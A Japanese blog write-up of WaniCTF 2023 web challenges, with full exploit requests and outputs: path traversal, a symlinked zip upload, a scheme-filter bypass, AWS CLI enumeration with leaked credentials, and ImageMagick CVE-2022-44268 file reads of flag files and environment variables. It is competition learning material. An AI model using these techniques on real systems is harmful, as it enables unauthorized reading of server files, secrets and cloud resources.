WaniCTF 2023 Writeup

Table of Contents

チーム __として参加し、Webを4問だけ解き568位でした。もう少しで解けたWeb問題もあったので、WaniCTF 2023のWeb問題のWriteupとUpsolvesを書きます。

Writeups

IndexedDB[119pt/608solved]

このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。

It appears that the flag has been hidden somewhere on this page. Let’s use the browser’s developer tools to find it.

cURLすればFlagが得られる。

$ curl https://indexeddb-web.wanictf.org 
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
  </head>

  <body>
  </body>
  <script>
    var connection;

    window.onload = function () {
      var openRequest = indexedDB.open("testDB");

      openRequest.onupgradeneeded = function () {
        connection = openRequest.result;
        var objectStore = connection.createObjectStore("testObjectStore", {
          keyPath: "name",
        });
        objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });
      };

      openRequest.onsuccess = function () {
        connection = openRequest.result;
      };
      window.location = "1ndex.html";
    };
  </script>
</html>

Extract Service 1[144pt/245solved]

ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…? どんなHTTPリクエストが送信されるのか見てみよう!

We have released a summary service for document files! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right…? Let’s see what kind of HTTP request is sent!

雑にサンプルをPOSTすると以下のようなリクエストが送られることが分かる。

POST / HTTP/1.1
Host: extract1-web.wanictf.org
Content-Length: 13526
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://extract1-web.wanictf.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKULoBfBJA8puWKX9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://extract1-web.wanictf.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryKULoBfBJA8puWKX9
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK!ߤÒlZ [Content_Types].xml ¢
------WebKitFormBoundaryKULoBfBJA8puWKX9
Content-Disposition: form-data; name="target"

word/document.xml
------WebKitFormBoundaryKULoBfBJA8puWKX9--

ソースコードを見ると、baseDirtargetを結合したファイルを読み出してくれることが分かる。したがって、ここに ../../flag をインジェクトすれば良さそうである。

    // 略 
		extractTarget := c.PostForm("target")
    // 略
    result, err := ExtractContent(baseDir, extractTarget)
// 略

func ExtractContent(baseDir, extractTarget string) (string, error) {
	raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
	if err != nil {
		return "", err
	}

	removeXmlTag := regexp.MustCompile("<.*?>")
	resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
	removeNewLine := regexp.MustCompile(`\r?\n`)
	resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
	return resultNewLineRemoved, nil
}

したがって、以下のリクエストを送れば良い。

POST / HTTP/1.1
Host: extract1-web.wanictf.org
Content-Length: 13526
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://extract1-web.wanictf.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKULoBfBJA8puWKX9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://extract1-web.wanictf.org/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryKULoBfBJA8puWKX9
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK!ߤÒlZ [Content_Types].xml ¢
------WebKitFormBoundaryKULoBfBJA8puWKX9
Content-Disposition: form-data; name="target"

../../flag
------WebKitFormBoundaryKULoBfBJA8puWKX9--

レスポンスにFlagが含まれているのが分かる。

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 06 May 2023 06:23:07 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2346

  <section class="container px-5">
    <div class="mt-5">
      <p>FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}</p>
    </div>
  </section>

64bps[157pt/182solved]

dd if=/dev/random of=2gb.txt bs=1M count=2048 cat flag.txt » 2gb.txt rm flag.txt

↓↓↓

普通にリクエストするとレスポンスが全く帰って来ないことが分かる。

原因は以下のNginxの設定。

user  nginx;
worker_processes  auto;

error_log  /var/log/nginx/error.log notice;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

    server {
        listen       80;
        listen  [::]:80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }
    }
}

Range Requestすれば良さそう。ファイルサイズはローカルで確認できる。

$  dd if=/dev/random of=2gb.txt bs=1M count=2048
2048+0 records in
2048+0 records out
2147483648 bytes transferred in 2.098450 secs (1023366603 bytes/sec)
$ ls -la 2gb.txt 
-rw-r--r--  1 deadbeef  staff  2147483648  5  6 15:34 2gb.txt

ちなみに、以前Range Requestが必要な問題を作問したことがあるので、よければどうぞ。

ref: SECCON Beginners CTF 2022 作問者writeup

$ curl -X GET -H 'Range: bytes=2147483648-2147483696' https://64bps-web.wanictf.org/2gb.txt
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

Extract Service 2[191pt/103solves]

Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…?

We have fixed Extract Service 1 as it had vulnerabilities! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.

The secret information is written in the /flag file on the server, but it should be safe, right…?

Extract Service 1で問題になっていた、targetParamに以下の通りパッチが当たっている。

		// patched
		extractTarget := ""
		targetParam := c.PostForm("target")
		if targetParam == "" {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is required",
			})
			return
		}
		if targetParam == "docx" {
			extractTarget = "word/document.xml"
		} else if targetParam == "xlsx" {
			extractTarget = "xl/sharedStrings.xml"
		} else if targetParam == "pptx" {
			extractTarget = "ppt/slides/slide1.xml"
		} else {
			c.HTML(http.StatusOK, "index.html", gin.H{
				"result": "Error : target is invalid",
			})
			return
		}

他のソースコードを見ると、インジェクトできる要素がアップロードされるファイルしかないことが分かる。 XML要素があったのでXXEのLFIが通るかと思ったが、XMLパーサが呼ばれる訳ではないので、もちろん通らない。

少し考えていると、シンボリックリンクを埋め込めば良いという発想に至る。docxを選択する場合、ディレクトリ構成とファイル名は固定なので注意。

mkdir word
cd word
ln -s /flag document.xml
cd ..
zip -ry sample.docx word

これでアップロードすれば /flag の内容が閲覧できる。

Upsolves

Lambda[245pt/54solved]

以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。

The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication.

AWSのAccess key IDとSecret Access KeyとRegionが与えられる。AWS CLIでconfigureして、ひとまずLambdaの関数情報を確認しようとすると権限不足であることが分かる。

aws lambda list-functions

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:iam::xxxxxxx:user/SecretUser is not authorized to perform: lambda:ListFunctions on resource: * because no identity-based policy allows the lambda:ListFunctions action

$ aws lambda get-function で対象APIのソースコードを取得できそうなので、次の目標を関数名を取得することとする。

その上で色々見ていると、ログイン用のページのソースコードから login_submit.js から対象のAPIのドメインが得られることが分かる。

    const url = new URL(
      "https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
    );

このドメインの所在を確認すると、実行ごとにIPアドレスが変わることが分かる。

$ dig k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com +short
35.77.169.167
52.197.52.113
54.238.13.189
deadbeef(15:46:52) ~/Downloads/web-lambda : 
$ dig k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com +short
13.113.16.19
18.182.154.158
52.69.233.206

staticなルーティングでないということはAPI Gatewayあたりを使っていそうなので、AWS CLIで確認する。

$ aws apigateway get-rest-apis

{
    "items": [
        {
            "id": "k0gh2dp2jg",
            "name": "WaniCTFLambdaGateway",
            "createdDate": "2023-04-23T10:05:08+09:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "REGIONAL"
                ]
            },
            "disableExecuteApiEndpoint": false
        }
    ]
}
$ aws apigateway get-resources --rest-api-id k0gh2dp2jg
{
    "items": [
        {
            "id": "hd6co6xcng",
            "path": "/",
            "resourceMethods": {
                "GET": {}
            }
        }
    ]
}
$ aws apigateway get-integration --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
    "type": "AWS_PROXY",
    "httpMethod": "POST",
    "uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function/invocations",
    "passthroughBehavior": "WHEN_NO_MATCH",
    "contentHandling": "CONVERT_TO_TEXT",
    "timeoutInMillis": 29000,
    "cacheNamespace": "hd6co6xcng",
    "cacheKeyParameters": [],
    "integrationResponses": {
        "200": {
            "statusCode": "200",
            "responseTemplates": {}
        }
    }
}

ここから関数名がwani_functionであることが分かるので、get-functionでソースコードを取得する。

$ ws lambda get-function --function-name wani_function | jq -r '.Code.Location'

ソースコードをダウンロードすると、複数のDLLファイルがあることが分かる。

$ ls wani_function-df5e5803-a6c5-4483-b58a-a296b73218a3
Amazon.Lambda.APIGatewayEvents.dll		Newtonsoft.Json.dll
Amazon.Lambda.Core.dll				WaniCTF_Lambda.deps.json
Amazon.Lambda.Serialization.Json.dll		WaniCTF_Lambda.dll
Amazon.Lambda.Serialization.SystemTextJson.dll	WaniCTF_Lambda.runtimeconfig.json

ここまで本番中に行けていたが、デコンパイルチャレンジに敗北した。 MacでCTFやるなってね、はい。

それはさておき、これらのDLLファイルをデコンパイルすればFLAGがハードコードされているのでFlagが得られる。

screenshot[200pt/91solved]

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。

An application that takes screenshots of your favorite websites.

ソースコードを見ると、?urlというクエリパラメータに設定された対象をスクリーンショットしてくれるWebサイトらしい。

ただし、パラメータに以下の制約がある。

      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

fileというURL Schemeは完全一致なので大文字にすれば良く、httpは末尾に含めれば良い。

https://screenshot-web.wanictf.org/api/screenshot?url=FILE%3A%2F%2F%2Fflag.txt%3Fhttp

certified 1[226pt/66solved]

最近流行りの言語を使った安全なウェブアプリが完成しました!

We have released a secure web application using a state-of-the-art language!

https://certified-web.wanictf.org

この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。

There are two flags in this problem. Please submit the flag in file /flag_A to certified1 and one in the environment variable FLAG_B to certified2.

Note: “承認, ワニ博士” means “Approved, Dr. Wani” in Japanese.

他の方のWriteupを見ていると、CVE関連らしい。

ref: certified1 (Normal) - WaniCTF 2023 writeup

ググると確かに存在した。

CVE-2022-44268 ImageMagick Arbitrary File Read PoC

こちらにあるREADME.mdの内容にしたがって画像を生成していく。Flagの場所はDockerfileから/flag_Aと分かる。

$ pngcrush -text a "profile" "/flag_A" ./assets/hanko.png
  Recompressing IDAT chunks in ./assets/hanko.png to pngout.png
   Total length of data found in critical chunks            =     31130
   Best pngcrush method        =   7 (ws 15 fm 0 zl 9 zs 0) =     23186
CPU time decode 0.006374, encode 0.092336, other 0.000992, total 0.099873 sec
$ exiv2 -pS pngout.png 
STRUCTURE OF PNG FILE: pngout.png
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | ............                   | 0x52dc6c07
      33 | IDAT  |   23123 | x..].....%-.%H.A..E.J.......0. | 0x5dbd00e4
   23168 | tEXt  |      15 | profile./flag_A                | 0xeeee99fa
   23195 | IEND  |       0 |                                | 0xae426082

こちらで生成された画像をアップロードして生成された画像をダウンロードし、中身を確認する。

$ identify -verbose 31f8d51b-3094-44dc-af59-dbc6d6cefdea.png 
Image:
  Filename: 31f8d51b-3094-44dc-af59-dbc6d6cefdea.png
  Permissions: rw-r--r--
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 480x480+0+0
    Raw profile type: 

      42
464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f
793075217d0a
$ python3 -c 'print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a").decode("utf-8"))'
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

certified2(331pt/23solved)

certified1をご覧ください。

Please see certified1.

Certified1の環境変数を読み出す問題。他の方のWriteupを見ると、/proc/self/environ/proc/1/environ で読み出すのは自明らしい。へーという気持ち。

ソースコードを見ると、POST /createにHTTPリクエストを送ると、以下の通りmultipart datafileの値がinputにコピーされることが分かる。

// create.rs
// POST /create
#[debug_handler]
pub async fn handle_create(mut multipart: extract::Multipart) -> HandlerResult {
  // 略
  let (file_name, file_data) = match extract_file(&mut multipart).await {
    Some(file) => file,
    None => return Ok((StatusCode::BAD_REQUEST, "Invalid multipart data").into_response()),
  };
  // 略
  process_image(&current_dir, &file_name)
      .await
      .context("Failed to process image")?;
  // 略

// process_image.rs
pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
    fs::copy(
        working_directory.join(input_filename),
        working_directory.join("input"),
    )
    .await
    .context("Failed to prepare input")?;
    // 略

したがって、input_filenameの部分に/proc/self/environを入れれば良いことが分かる。実行すると、500 Internal Server Errorが表示される。

HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sat, 06 May 2023 07:44:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 208
Connection: close

Failed to process image

Caused by:
    image processing failed on ./data/0044933f-1c61-449d-9109-2fd3af63a4d5:
    magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.
    

しかし、/data/0044933f-1c61-449d-9109-2fd3af63a4d5/input を読み出すことは、certified1で利用したCVEを悪用すれば可能。

$ pngcrush -text a "profile" "/data/0044933f-1c61-449d-9109-2fd3af63a4d5/input" assets/hanko.png

こちらの画像をアップロードしてダウンロードし、同様に中身を確認する。

$ identify -verbose 2434409e-2700-4776-9e34-01b59caa93b0.png 
# 略
    Raw profile type: 

     268
504154483d2f7573722f6c6f63616c2f7362696e3a2f7573722f6c6f63616c2f62696e3a
2f7573722f7362696e3a2f7573722f62696e3a2f7362696e3a2f62696e00484f53544e41
4d453d36656637633464613065356500415050494d4147455f455854524143545f414e44
5f52554e3d3100464c41475f423d464c41477b6e30775f376861745f7930755f68347665
5f3768655f736563306e645f663161395f7930755f3472655f615f636572743166316564
5f68346e6b305f6d40737465727d00525553545f4c4f473d68616e6b6f2c746f7765725f
687474703d54524143452c494e464f004c495354454e5f414444523d302e302e302e303a
3330303000484f4d453d2f726f6f7400
# 略
$ python3 -c 'print(bytes.fromhex("504154483d2f7573722f6c6f63616c2f7362696e3a2f7573722f6c6f63616c2f62696e3a2f7573722f7362696e3a2f7573722f62696e3a2f7362696e3a2f62696e00484f53544e414d453d36656637633464613065356500415050494d4147455f455854524143545f414e445f52554e3d3100464c41475f423d464c41477b6e30775f376861745f7930755f683476655f3768655f736563306e645f663161395f7930755f3472655f615f6365727431663165645f68346e6b305f6d40737465727d00525553545f4c4f473d68616e6b6f2c746f7765725f687474703d54524143452c494e464f004c495354454e5f414444523d302e302e302e303a3330303000484f4d453d2f726f6f7400").decode("utf-8"))'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=6ef7c4da0e5eAPPIMAGE_EXTRACT_AND_RUN=1FLAG_B=FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}RUST_LOG=hanko,tower_http=TRACE,INFOLISTEN_ADDR=0.0.0.0:3000HOME=/root

あるある脆弱性ではなくて、CVEと既知の脆弱性を混ぜた問題は面白いなと思った。 これくらいの問題を通せるともっと楽しくなるんだろうなと思った。

Posted on May 6, 2023